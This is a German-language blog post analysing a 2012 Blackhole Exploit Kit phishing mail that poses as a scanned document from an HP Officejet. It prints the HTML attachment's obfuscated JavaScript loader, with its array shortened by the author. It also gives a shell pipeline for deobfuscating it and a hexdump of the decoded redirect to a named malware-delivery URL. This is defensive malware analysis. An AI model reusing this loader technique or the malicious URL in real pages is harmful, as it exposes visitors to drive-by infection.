Blackhole: Tarnt sich als Scan to E-Mail

[vgwort line=“76″ server=“vg08″ openid=“6ed0bbb400344018b7c1834b430fcb81″]

Heute war nach Tagen der Ruhe ein Trojanisches Pferd des Blackhole Exploit Kit unterwegs. Der angeblich eingescannte Text ist eine HTML-Seite HP-Officejet-05569.htm, die direkt auf eine Landing Page umleitet.

Und so sieht die Mail grundsätzlich aus.

Die Mail

From: <support@excample.com>
To: <thomas@excample.com>
Subject: Re:Scan from a HP ScanJet #3883
Date: Wed, 31 Oct 2012 11:05:59 +0000
Attachment: HP-Officejet-05569.htm
Attached document was scanned and sent

to you using a Hewlett-Packard Officejet PRO.

Sent: by Israel
Image(s) : 8
Attachment: Internet Explorer file [.htm]

Hewlett-Packard Officejet Location: machine location not set

Da ich in der Regel weiß, was sich eingelesen habe, müsste hier jemand anders etwas an meine E-Mail-Adresse geschickt haben. Dies ist natürlich grundsätzlich möglich. Ob diese Form der Zusammenarbeit sehr weit verbreitet ist, kann ich nicht sagen. Bei uns geht nur Scan-to-Folder.

Der HTML-Anhang

<html>
 <head>
  <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Redirecting....</title>
 </head>
 <body>  
<h1><b>Please wait a moment. You will be forwarded..</h1></b>
<h3>Internet Explorer or Mozilla Firefox compatible only </h3><br>


<script>if(window.document){v=window;try{fawbe++}catch(afnwenew){try{(v+v)()}catch(gngrthn){try{v["document"]["body"]="123"}catch(gfdnfdgber){m=123;if((alert+"").indexOf("native")!==-1)ev=window["e"+"v"+"a"+"l"];}}
n=["11","22","33","44", .. ,"zz"];h=2;s="";if(m)for(i=0;i-106!=0;i++){k=i;if(window["document"])s+=String["fro"+"mCharCode"](parseInt(n[i],24));}try{febwnrth--}catch(bawetawe){z=s;ev(z)}}}</script>


</body> 
</html>

HP-Officejet-05569.htm

Aus Gründen der Platzersparnis habe ich einen Teil der Zuweisung des Array an die Variable n gekürzt. Dieses Script weißt eine Besonderheit auf: Zeilenumbrüche wurden mit kodiert und eine führende Null wurde weggelassen. Mit einem kleinen sed-Script kann man die führenden Nullen wieder herstellen und anschließend die Programme piRadix und piDecode anwenden.

  egrep '^n=\[' \
  | sed 's#n=\[##; s#\].*##' \
  | sed 's#"\([0-9a-z]\)"#"0\1#g' \
  | tr -dc '0-9a-z' \
  | tr -d '\n' \
  | piRadix

Das Script

Da obfuskierte Script ist mit parseInt zur Basis 24 kodiert, wie hier sehr leicht erkennbar ist. Obwohl das Script recht kurz ist, kann der richtige Radix mittels des Programmes piRadix, das ich in dem Artikel How to deobfuscate Blackhole Java-Script vorgestellt habe, richtig erraten werden.

Als String isoliert ergibt sich für folgender, kodierter String, in dem ich wegen des besseren Umbruches auf dieser Seite nach sechs Zeichen ein Leerzeichen eingefügt habe:

4m414i 212d24 292ba4 m414i2 22d4m4 14i212 ba4946 1g4m41 4i212d 2d4m41 4i221h 185344 4f434l 4d454e 4k1m4c 4f4341 4k494f 4e2d1a 484k4k 4g2a1n 1n444f 4e4b49 484f4k 494b1m 4i4l2a 282028 201n46 4f4i4l 4d1n4c 494e4b 4j1n43 4f4c4l 4d4e1m 4g484g 1a2b55

Dekodiert ergibt sich das folgenden Script:

00000000  76 61 72 31 3d 34 39 3b  0a 76 61 72 32 3d 76 61  |var1=49;.var2=va|
00000010  72 31 3b 0a 69 66 28 76  61 72 31 3d 3d 76 61 72  |r1;.if(var1==var|
00000020  32 29 20 7b 64 6f 63 75  6d 65 6e 74 2e 6c 6f 63  |2) {document.loc|
00000030  61 74 69 6f 6e 3d 22 68  74 74 70 3a 2f 2f 64 6f  |ation="http://do|
00000040  6e 6b 69 68 6f 74 69 6b  2e 72 75 3a 38 30 38 30  |nkihotik.ru:8080|
00000050  2f 66 6f 72 75 6d 2f 6c  69 6e 6b 73 2f 63 6f 6c  |/forum/links/col|
00000060  75 6d 6e 2e 70 68 70 22  3b 7d 0a                 |umn.php";}.|

In diesem Fall kommen wir sehr schnell ohne weitere Umleitungen zur Seite eines Servers, der den Trojaner ausliefert. Ein Download bestätigt, der Server donkihotik.ru ist noch aktiv und liefert eien Variante des bereits bekannten Scriptes aus. Bin gespannt ob russische Server länger halten.

So, genug hierzu

Gute Nacht!